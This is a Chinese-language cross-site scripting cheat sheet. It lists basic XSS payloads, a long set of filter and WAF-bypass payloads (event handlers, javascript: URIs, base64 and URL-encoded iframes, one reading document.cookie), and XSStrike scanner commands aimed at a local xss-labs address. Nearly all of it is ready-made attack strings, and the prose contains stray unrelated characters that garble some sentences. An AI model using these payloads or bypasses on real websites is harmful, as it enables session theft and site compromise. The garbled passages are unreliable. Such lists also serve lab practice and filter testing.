1. xsspayload
# 直接輸出
<script>alert(1)</script>
# 標(biāo)簽內(nèi)輸出: 考慮閉合
123"><script>alert(1)</script>
# 事件觸發(fā)
' onclick='alert(1)
# 偽協(xié)議JavaScript: 觸發(fā)
"> <a href=javascript:alert('xss') > xss</a>
# Unicode編碼
javascript:alert('1') ==> javascript:alert(1)
# %0a繞過空格限制
<img%0Asrc=1%0Aonerror=alert(1)>
2. waf繞過
可以彈窗的:alert踊东,prompt 蔫劣,confirm懈糯,base64加密江耀,編碼繞過(安全狗都沒有過濾)
繞過方法有很多比如:
大小寫繞過
javascript偽協(xié)議
沒有分號
Flash
HTML5 新標(biāo)簽
Fuzz進行測試
雙層標(biāo)簽繞過
特殊標(biāo)簽
<audio src=x onerror=alert(47)>
<audio src=x onerror=prompt(1);>
<audio src=1 href=1 onerror="javascript:alert(1)"></audio>
<video src=x onerror=prompt(1);>
<video src=x onerror=alert(48)>
<div style="width:expression(alert(/1/))">1</div> ie瀏覽器執(zhí)行
<div onmouseover%3d'alert%26lpar%3b1%26rpar%3b'>DIV<%2fdiv> url編碼繞過
<math><a/xlink:href=javascript:prompt(1)>Xss
<math href="javascript:javascript:alert(1)">Xss</math>
<button onfocus=alert(1) autofocus>
<button/onclick=alert(1) >xss</button>
<keygen/onfocus=prompt(1);>
<keygen onfocus=javascript:alert(1) autofocus>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
base64加密:PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg
解碼:<script>alert(1)</script>
<IFRAME width%3d"420" height%3d"315" frameborder%3d"0" onload%3d"alert(document.cookie)"><%2fIFRAME>
<iframe%2fsrc%3d"data%3atext%2fhtml%3b%26Tab%3bbase64%26Tab%3b,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg%3d%3d">
<iframe srcdoc%3d'%26lt%3bbody onload%3dprompt%26lpar%3b1%26rpar%3b%26gt%3b'>
3. XSStrike腳本使用
1.測試一個使用GET方法的網(wǎng)頁:
python xsstrike.py -u "http://192.168.195.128/xss-labs/level1.php?name=test"
2.測試POST數(shù)據(jù):
python xsstrike.py -u "http://192.168.195.128/xss-labs/level1.php?name=test" --
data "q=query"
python xsstrike.py -u "http://192.168.195.128/xss-labs/level1.php?name=test" --
data '{"q":"query"} --json'
3.測試URL路徑:
python xsstrike.py -u "http://192.168.195.128/xss-labs/level1.php?name=test" -- path
4.從目標(biāo)網(wǎng)頁開始搜尋目標(biāo)并進行測試
python xsstrike.py -u "http://192.168.195.128/xss-labs/level1.php?name=test" -- crawl
//-l 參數(shù)可以指定爬取深度,默認(rèn)為2
5.只測試文件中指定的URL
python xsstrike.py --seeds urls.txt
6.盲XSS:爬行中使用此參數(shù)可向每個html表單里面的每個變量插入xss代碼
python xsstrike.py -u "http://192.168.195.128/xss-labs/level1.php?name=test" -- crawl --blind
8.模糊測試--fuzzer該模糊器旨在測試過濾器和Web應(yīng)用程序防火墻,可使用 -d 選項將延遲設(shè)置為1秒。
python xsstrike.py -u "http://192.168.195.128/xss-labs/level1.php?name=test" -- fuzzer
9.跳過DOM掃描在爬網(wǎng)時可跳過DOM XSS掃描袱巨,以節(jié)省時間
python xsstrike.py -u "http://192.168.195.128/xss-labs/level1.php?name=test" -- skip-dom